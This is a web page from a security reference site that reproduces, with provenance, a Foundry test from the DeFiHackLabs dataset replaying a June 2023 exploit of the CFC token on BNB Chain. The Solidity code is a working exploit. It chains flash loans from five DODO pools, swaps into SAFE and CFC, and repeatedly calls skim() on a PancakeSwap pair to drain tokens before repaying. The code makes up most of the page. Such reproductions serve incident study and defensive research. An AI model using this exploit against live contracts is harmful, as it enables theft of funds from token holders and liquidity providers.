Skip to content
THREATWIRE

Public reproduction file

src/test/2023-06/CFC_exp.sol

Public reproduction file for dataset entry CFC.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2023-06/CFC_exp.sol122 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3
4import "forge-std/Test.sol";
5import "./../interface.sol";
6
7// @KeyInfo - Total Lost : ~16k
8// Attacker contract address : https://bscscan.com/address/0x8213e87bb381919b292ace364d97d3a1ee38caa4
9// Vulnerable contract : https://bscscan.com/address/0xdd9b223aec6ea56567a62f21ff89585ff125632c
10// Attack TX : https://explorer.phalcon.xyz/tx/bsc/0xa3c130ed8348919f73cbefce0f22d46fa381c8def93654e391ddc95553240c1e
12// @Analysis : https://twitter.com/hexagate_/status/1669280632738906113 - Second TX
14contract CFCTest is Test {
15 IERC20 BEP20USDT = IERC20(0x55d398326f99059fF775485246999027B3197955);
16 IERC20 SAFE = IERC20(0x4d7Fa587Ec8e50bd0E9cD837cb4DA796f47218a1);
17 IERC20 CFC = IERC20(0xdd9B223AEC6ea56567A62f21Ff89585ff125632c);
18 IDPPOracle DPPOracle1 = IDPPOracle(0xFeAFe253802b77456B4627F8c2306a9CeBb5d681);
19 IDPPOracle DPPOracle2 = IDPPOracle(0x9ad32e3054268B849b84a8dBcC7c8f7c52E4e69A);
20 IDPPOracle DPPOracle3 = IDPPOracle(0x26d0c625e5F5D6de034495fbDe1F6e9377185618);
21 IDPPOracle DPP = IDPPOracle(0x6098A5638d8D7e9Ed2f952d35B2b67c34EC6B476);
22 IDPPOracle DPPAdvanced = IDPPOracle(0x81917eb96b397dFb1C6000d28A5bc08c0f05fC1d);
23 IPancakeRouter Router = IPancakeRouter(payable(0x10ED43C718714eb63d5aA57B78B54704E256024E));
24 IPancakePair CakeLP = IPancakePair(payable(0x595488F902C4d9Ec7236031a1D96cf63b0405CF0));
25 CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
27 function setUp() public {
28 cheats.createSelectFork("bsc", 29_116_478);
29 cheats.label(address(BEP20USDT), "BEP20USDT");
30 cheats.label(address(SAFE), "SAFE");
31 cheats.label(address(CFC), "CFC");
32 cheats.label(address(DPPOracle1), "DPPOracle1");
33 cheats.label(address(DPPOracle2), "DPPOracle2");
34 cheats.label(address(DPPOracle3), "DPPOracle3");
35 cheats.label(address(DPP), "DPP");
36 cheats.label(address(DPPAdvanced), "DPPAdvanced");
37 cheats.label(address(Router), "Router");
38 cheats.label(address(CakeLP), "CakeLP");
39 }
41 function testSkim() public {
42 deal(address(BEP20USDT), address(this), 0);
43 emit log_named_decimal_uint(
44 "Attacker BEP20USDT balance before attack", BEP20USDT.balanceOf(address(this)), BEP20USDT.decimals()
45 );
47 takeFlashloan(DPPOracle1);
49 emit log_named_decimal_uint(
50 "Attacker BEP20USDT balance after attack", BEP20USDT.balanceOf(address(this)), BEP20USDT.decimals()
51 );
52 }
54 function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external {
55 if (msg.sender == address(DPPOracle1)) {
56 takeFlashloan(DPPOracle2);
57 } else if (msg.sender == address(DPPOracle2)) {
58 takeFlashloan(DPPOracle3);
59 } else if (msg.sender == address(DPPOracle3)) {
60 takeFlashloan(DPP);
61 } else if (msg.sender == address(DPP)) {
62 takeFlashloan(DPPAdvanced);
63 } else {
64 BEP20USDT.approve(address(Router), type(uint256).max);
65 CFC.approve(address(Router), type(uint256).max);
66 SAFE.approve(address(Router), type(uint256).max);
68 address[] memory path = new address[](2);
69 path[0] = address(BEP20USDT);
70 path[1] = address(SAFE);
71 Router.swapExactTokensForTokens(13_000 * 1e18, 0, path, address(this), block.timestamp + 100);
73 (uint256 reserveSAFE, uint256 reserveCFC,) = CakeLP.getReserves();
75 uint256 amountOut = Router.getAmountOut(SAFE.balanceOf(address(this)), reserveSAFE, reserveCFC);
77 CakeLP.swap(1, (amountOut - (amountOut / 250)) - 1, address(this), hex"307831323334");
79 //Start exploit skim() function
80 CFC.transfer(address(CakeLP), CFC.balanceOf(address(this)));
81 CakeLP.skim(address(this));
83 for (uint256 i; i < 18; ++i) {
84 CFC.transfer(address(CakeLP), CFC.balanceOf(address(CakeLP)) - 1);
85 CakeLP.skim(address(this));
86 }
87 //End exploit skim() function
89 path[0] = address(CFC);
90 path[1] = address(SAFE);
91 Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
92 CFC.balanceOf(address(this)) / 40, 0, path, address(this), block.timestamp + 100
93 );
95 (reserveSAFE, reserveCFC,) = CakeLP.getReserves();
96 uint256 transferAmountSAFE = Router.quote(CFC.balanceOf(address(this)), reserveCFC, reserveSAFE);
98 SAFE.transfer(address(CakeLP), transferAmountSAFE);
99 CFC.transfer(address(CakeLP), CFC.balanceOf(address(this)));
100 CakeLP.mint(address(this));
102 path[0] = address(SAFE);
103 path[1] = address(BEP20USDT);
104 Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
105 SAFE.balanceOf(address(this)), 0, path, address(this), block.timestamp + 100
106 );
107 }
108 //Repaying DPPOracle flashloans
109 BEP20USDT.transfer(msg.sender, quoteAmount);
110 }
112 function pancakeCall(address _sender, uint256 _amount0, uint256 _amount1, bytes calldata _data) external {
113 //Repaying CakeLP (Pair) flashswap
114 SAFE.transfer(address(CakeLP), SAFE.balanceOf(address(this)));
115 }
117 function takeFlashloan(
118 IDPPOracle Oracle
119 ) internal {
120 Oracle.flashLoan(0, BEP20USDT.balanceOf(address(Oracle)), address(this), new bytes(1));
121 }

Analysis

Dataset entry

Public Foundry test for “CFC” (2023-06-15). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

21 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0x8213e87bb381919b292ace364d97d3a1ee38caa4

  • Vulnerable contract

    0xdd9b223aec6ea56567a62f21ff89585ff125632c

  • Attack Tx

    0xa3c130ed8348919f73cbefce0f22d46fa381c8def93654e391ddc95553240c1e

File record

Name
CFC
Path
src/test/2023-06/CFC_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
d593665030a3fd06902d2e73377af1a9b1126302
Language
Solidity
Size
123 lines
Date
2023-06-15
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2023-06/CFC_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob d593665030a3fd06902d2e73377af1a9b1126302, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.